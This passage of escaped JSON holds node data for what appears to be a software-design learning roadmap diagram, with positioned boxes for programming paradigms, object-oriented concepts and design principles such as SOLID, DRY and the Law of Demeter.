\"x\": 108.99419451849974,\n        \"y\": 748.400748222349\n      }\n    },\n    {\n      \"id\": \"kp86Vc3uue3IxTN9B9p59\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 108.99419451849974,\n        \"y\": 801.400748222349\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Organize code by actor it belongs to\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"9naCfoHF1LW1OEsVZGi8v\"\n      },\n      \"zIndex\": 999,\n      \"width\": 335,\n      \"height\": 49,\n      \"measured\": {\n        \"width\": 335,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"style\": {\n        \"width\": 335\n      },\n      \"positionAbsolute\": {\n        \"x\": 108.99419451849974,\n        \"y\": 801.400748222349\n      }\n    },\n    {\n      \"id\": \"tLbckKmfVxgn59j_dlh8b\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 108.99419451849974,\n        \"y\": 854.400748222349\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Command query separation\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"9naCfoHF1LW1OEsVZGi8v\"\n      },\n      \"zIndex\": 999,\n      \"width\": 335,\n      \"height\": 49,\n      \"measured\": {\n        \"width\": 335,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"style\": {\n        \"width\": 335\n      },\n      \"positionAbsolute\": {\n        \"x\": 108.99419451849974,\n        \"y\": 854.400748222349\n      }\n    },\n    {\n      \"id\": \"9naCfoHF1LW1OEsVZGi8v\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 108.99419451849974,\n        \"y\": 907.400748222349\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Keep it simple and refactor often\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 335,\n      \"height\": 49,\n      \"measured\": {\n        \"width\": 335,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"style\": {\n        \"width\": 335\n      },\n      \"positionAbsolute\": {\n        \"x\": 108.99419451849974,\n        \"y\": 907.400748222349\n      }\n    },\n    {\n      \"id\": \"isbQTvteWitvwVwBtwAr3\",\n      \"type\": \"horizontal\",\n      \"position\": {\n        \"x\": -20.138187271993502,\n        \"y\": 321.9007482223489\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"horizontal node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 50,\n      \"height\": 20,\n      \"measured\": {\n        \"width\": 116,\n        \"height\": 20\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -20.138187271993502,\n        \"y\": 321.9007482223489\n      }\n    },\n    {\n      \"id\": \"TDhTYdEyBuOnDKcQJzTAk\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -298.1381872719935,\n        \"y\": 452.2051467174066\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Programming Paradigms\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"h0aeBhQRkDxNeFwDxT4Tf\"\n      },\n      \"zIndex\": 999,\n      \"width\": 234,\n      \"height\": 49,\n      \"measured\": {\n        \"width\": 279,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -298.1381872719935,\n        \"y\": 452.2051467174066\n      }\n    },\n    {\n      \"id\": \"VhSEH_RoWFt1z2lial7xZ\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -707.6381872719935,\n        \"y\": 453.52104026608447\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Structured Programming\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 284,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 284\n      },\n      \"measured\": {\n        \"width\": 292,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -707.6381872719935,\n        \"y\": 453.52104026608447\n      }\n    },\n    {\n      \"id\": \"YswaOqZNYcmDwly2IXrTT\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -707.6381872719935,\n        \"y\": 506.52104026608447\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Functional Programming\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 284,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 284\n      },\n      \"measured\": {\n        \"width\": 292,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -707.6381872719935,\n        \"y\": 506.52104026608447\n      }\n    },\n    {\n      \"id\": \"VZrERRRYhmqDx4slnZtdc\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -707.6381872719935,\n        \"y\": 559.5210402660845\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Object Oriented Programming\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 284,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 284\n      },\n      \"measured\": {\n        \"width\": 292,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -707.6381872719935,\n        \"y\": 559.5210402660845\n      }\n    },\n    {\n      \"id\": \"HhYdURE4X-a9GVwJhAyE0\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -299.1381872719935,\n        \"y\": 666.2051467174066\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Object Oriented Programming\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"h0aeBhQRkDxNeFwDxT4Tf\"\n      },\n      \"zIndex\": 999,\n      \"width\": 275,\n      \"height\": 49,\n      \"measured\": {\n        \"width\": 279,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -299.1381872719935,\n        \"y\": 666.2051467174066\n      }\n    },\n    {\n      \"id\": \"0VO_-1g-TS29y0Ji2yCjc\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -705.1381872719935,\n        \"y\": 1081.4007482223487\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Model-Driven Design\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\",\n          \"colorType\": \"h\"\n        },\n        \"oldId\": \"UQFaghIjWxbf5RmkE7EjH\"\n      },\n      \"zIndex\": 999,\n      \"width\": 283,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 283\n      },\n      \"measured\": {\n        \"width\": 292,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -705.1381872719935,\n        \"y\": 1081.4007482223487\n      }\n    },\n    {\n      \"id\": \"I25ghe8xYWpZ-9pRcHfOh\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -692.6381872719935,\n        \"y\": 1138.4007482223487\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Domain Models\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"SrcPhS4F7aT80qNjbv54f\"\n      },\n      \"zIndex\": 999,\n      \"width\": 267,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 267,\n        \"height\": 49\n      },\n      \"measured\": {\n        \"width\": 267,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -692.6381872719935,\n        \"y\": 1138.4007482223487\n      }\n    },\n    {\n      \"id\": \"c6n-wOHylTbzpxqgoXtdw\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -692.6381872719935,\n        \"y\": 1297.4007482223487\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Class Variants\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"nVaoI4IDPVEsdtFcjGNRw\"\n      },\n      \"zIndex\": 999,\n      \"width\": 267,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 267,\n        \"height\": 49\n      },\n      \"measured\": {\n        \"width\": 267,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -692.6381872719935,\n        \"y\": 1297.4007482223487\n      }\n    },\n    {\n      \"id\": \"HN160YgryBBtVGjnWxNie\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -692.6381872719935,\n        \"y\": 1350.4007482223487\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Layered Architectures\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"pbfws0r25gMuRoEOlm2zi\"\n      },\n      \"zIndex\": 999,\n      \"width\": 267,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 267,\n        \"height\": 49\n      },\n      \"measured\": {\n        \"width\": 267,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -692.6381872719935,\n        \"y\": 1350.4007482223487\n      }\n    },\n    {\n      \"id\": \"kWNQd3paQrhMHMJzM35w8\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -692.6381872719935,\n        \"y\": 1244.4007482223487\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Domain Language\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"nVaoI4IDPVEsdtFcjGNRw\"\n      },\n      \"zIndex\": 999,\n      \"width\": 267,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 267,\n        \"height\": 49\n      },\n      \"measured\": {\n        \"width\": 267,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -692.6381872719935,\n        \"y\": 1244.4007482223487\n      }\n    },\n    {\n      \"id\": \"nVaoI4IDPVEsdtFcjGNRw\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -692.6381872719935,\n        \"y\": 1191.4007482223487\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Anemic Models\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 267,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 267,\n        \"height\": 49\n      },\n      \"measured\": {\n        \"width\": 267,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -692.6381872719935,\n        \"y\": 1191.4007482223487\n      }\n    },\n    {\n      \"id\": \"RMkEE7c0jdVFqZ4fmjL6Y\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -692.6381872719935,\n        \"y\": 864.7051467174065\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Abstract Classes\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"GJxfVjhiLuuc36hatx9dP\"\n      },\n      \"zIndex\": 999,\n      \"width\": 197,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 197\n      },\n      \"measured\": {\n        \"width\": 267,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -692.6381872719935,\n        \"y\": 864.7051467174065\n      }\n    },\n    {\n      \"id\": \"hd6GJ-H4p9I4aaiRTni57\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -692.6381872719935,\n        \"y\": 917.7051467174065\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Concrete Classes\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"SrcPhS4F7aT80qNjbv54f\"\n      },\n      \"zIndex\": 999,\n      \"width\": 197,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 197\n      },\n      \"measured\": {\n        \"width\": 267,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -692.6381872719935,\n        \"y\": 917.7051467174065\n      }\n    },\n    {\n      \"id\": \"b-YIbw-r-nESVt_PUFQeq\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -692.6381872719935,\n        \"y\": 970.7051467174065\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Scope / Visibility\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"SrcPhS4F7aT80qNjbv54f\"\n      },\n      \"zIndex\": 999,\n      \"width\": 197,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 197\n      },\n      \"measured\": {\n        \"width\": 267,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -692.6381872719935,\n        \"y\": 970.7051467174065\n      }\n    },\n    {\n      \"id\": \"SrcPhS4F7aT80qNjbv54f\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -692.6381872719935,\n        \"y\": 1023.7051467174065\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Interfaces\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"nVaoI4IDPVEsdtFcjGNRw\"\n      },\n      \"zIndex\": 999,\n      \"width\": 197,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 197\n      },\n      \"measured\": {\n        \"width\": 267,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -692.6381872719935,\n        \"y\": 1023.7051467174065\n      }\n    },\n    {\n      \"id\": \"Dj36yLBShoazj7SAw6a_A\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -691.1381872719935,\n        \"y\": 701.7051467174066\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Inheritance\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"GJxfVjhiLuuc36hatx9dP\"\n      },\n      \"zIndex\": 999,\n      \"width\": 125,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 125\n      },\n      \"measured\": {\n        \"width\": 125,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -691.1381872719935,\n        \"y\": 701.7051467174066\n      }\n    },\n    {\n      \"id\": \"4DVW4teisMz8-58XttMGt\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -561.6381872719935,\n        \"y\": 700.2051467174066\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Polymorphism\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"GJxfVjhiLuuc36hatx9dP\"\n      },\n      \"zIndex\": 999,\n      \"width\": 136,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 136\n      },\n      \"measured\": {\n        \"width\": 136,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -561.6381872719935,\n        \"y\": 700.2051467174066\n      }\n    },\n    {\n      \"id\": \"VA8FMrhF4non9x-J3urY8\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -691.1381872719935,\n        \"y\": 754.7051467174066\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Abstraction\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"GJxfVjhiLuuc36hatx9dP\"\n      },\n      \"zIndex\": 999,\n      \"width\": 125,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 125\n      },\n      \"measured\": {\n        \"width\": 125,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -691.1381872719935,\n        \"y\": 754.7051467174066\n      }\n    },\n    {\n      \"id\": \"GJxfVjhiLuuc36hatx9dP\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -561.6381872719935,\n        \"y\": 753.2051467174066\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Encapsulation\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"SrcPhS4F7aT80qNjbv54f\"\n      },\n      \"zIndex\": 999,\n      \"width\": 136,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 136\n      },\n      \"measured\": {\n        \"width\": 136,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -561.6381872719935,\n        \"y\": 753.2051467174066\n      }\n    },\n    {\n      \"id\": \"9dMbo4Q1_Sd9wW6-HSCA9\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -318.1381872719935,\n        \"y\": 1019.7051467174065\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Design Principles\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"h0aeBhQRkDxNeFwDxT4Tf\"\n      },\n      \"zIndex\": 999,\n      \"width\": 179,\n      \"height\": 49,\n      \"measured\": {\n        \"width\": 304,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -318.1381872719935,\n        \"y\": 1019.7051467174065\n      }\n    },\n    {\n      \"id\": \"Izno7xX7wDvwPEg7f_d1Y\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -319.1381872719935,\n        \"y\": 1119.400748222349\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Composition over Inheritance\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"0rGdh72HjqPZa2bCbY9Gz\"\n      },\n      \"zIndex\": 999,\n      \"width\": 272,\n      \"height\": 49,\n      \"measured\": {\n        \"width\": 304,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -319.1381872719935,\n        \"y\": 1119.400748222349\n      }\n    },\n    {\n      \"id\": \"3eWirbQGbJZd4g7CS1xk_\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": -636.1381872719935,\n        \"y\": 661.2051467174066\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Primary Principles\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"oldId\": \"9slZPeVCSqU5-5PqaNJOh\"\n      },\n      \"zIndex\": 999,\n      \"measured\": {\n        \"width\": 154,\n        \"height\": 38\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"width\": 154,\n      \"height\": 36,\n      \"positionAbsolute\": {\n        \"x\": -636.1381872719935,\n        \"y\": 661.2051467174066\n      }\n    },\n    {\n      \"id\": \"9slZPeVCSqU5-5PqaNJOh\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": -650.6381872719935,\n        \"y\": 824.400748222349\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Paradigm Features\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"href\": \"\",\n        \"color\": \"#000000\"\n      },\n      \"zIndex\": 999,\n      \"measured\": {\n        \"width\": 161,\n        \"height\": 38\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"width\": 161,\n      \"height\": 36,\n      \"positionAbsolute\": {\n        \"x\": -650.6381872719935,\n        \"y\": 824.400748222349\n      }\n    },\n    {\n      \"id\": \"DlefJ9JuJ1LdQYC4WSx6y\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -319.1381872719935,\n        \"y\": 1172.7051467174065\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Encapsulate what varies\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"0rGdh72HjqPZa2bCbY9Gz\"\n      },\n      \"zIndex\": 999,\n      \"width\": 279,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 279\n      },\n      \"measured\": {\n        \"width\": 304,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -319.1381872719935,\n        \"y\": 1172.7051467174065\n      }\n    },\n    {\n      \"id\": \"UZeY36dABmULhsHPhlzn_\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -319.1381872719935,\n        \"y\": 1225.7051467174065\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Program against abstractions\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"0rGdh72HjqPZa2bCbY9Gz\"\n      },\n      \"zIndex\": 999,\n      \"width\": 279,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 279\n      },\n      \"measured\": {\n        \"width\": 304,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -319.1381872719935,\n        \"y\": 1225.7051467174065\n      }\n    },\n    {\n      \"id\": \"WzUhKlmFB9alTlAyV-MWJ\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -126.6381872719935,\n        \"y\": 926.400748222349\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Hollywood Principle\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"0rGdh72HjqPZa2bCbY9Gz\"\n      },\n      \"zIndex\": 999,\n      \"width\": 196,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 196\n      },\n      \"measured\": {\n        \"width\": 196,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -126.6381872719935,\n        \"y\": 926.400748222349\n      }\n    },\n    {\n      \"id\": \"vnLhItObDgp_XaDmplBsJ\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -126.6381872719935,\n        \"y\": 820.400748222349\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Law of Demeter\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"0rGdh72HjqPZa2bCbY9Gz\"\n      },\n      \"zIndex\": 999,\n      \"width\": 196,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 196\n      },\n      \"measured\": {\n        \"width\": 196,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -126.6381872719935,\n        \"y\": 820.400748222349\n      }\n    },\n    {\n      \"id\": \"0rGdh72HjqPZa2bCbY9Gz\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -126.6381872719935,\n        \"y\": 873.400748222349\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Tell, don't ask\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 196,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 196\n      },\n      \"measured\": {\n        \"width\": 196,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -126.6381872719935,\n        \"y\": 873.400748222349\n      }\n    },\n    {\n      \"id\": \"3XckqZA--knUb8IYKOeVy\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -318.1381872719935,\n        \"y\": 824.7051467174066\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"SOLID\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"eEO-WeNIyjErBE53n8JsD\"\n      },\n      \"zIndex\": 999,\n      \"width\": 129,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 129\n      },\n      \"measured\": {\n        \"width\": 129,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -318.1381872719935,\n        \"y\": 824.7051467174066\n      }\n    },\n    {\n      \"id\": \"ltBnVWZ3UMAuUvDkU6o4P\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -318.1381872719935,\n        \"y\": 877.7051467174066\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"DRY\",\n        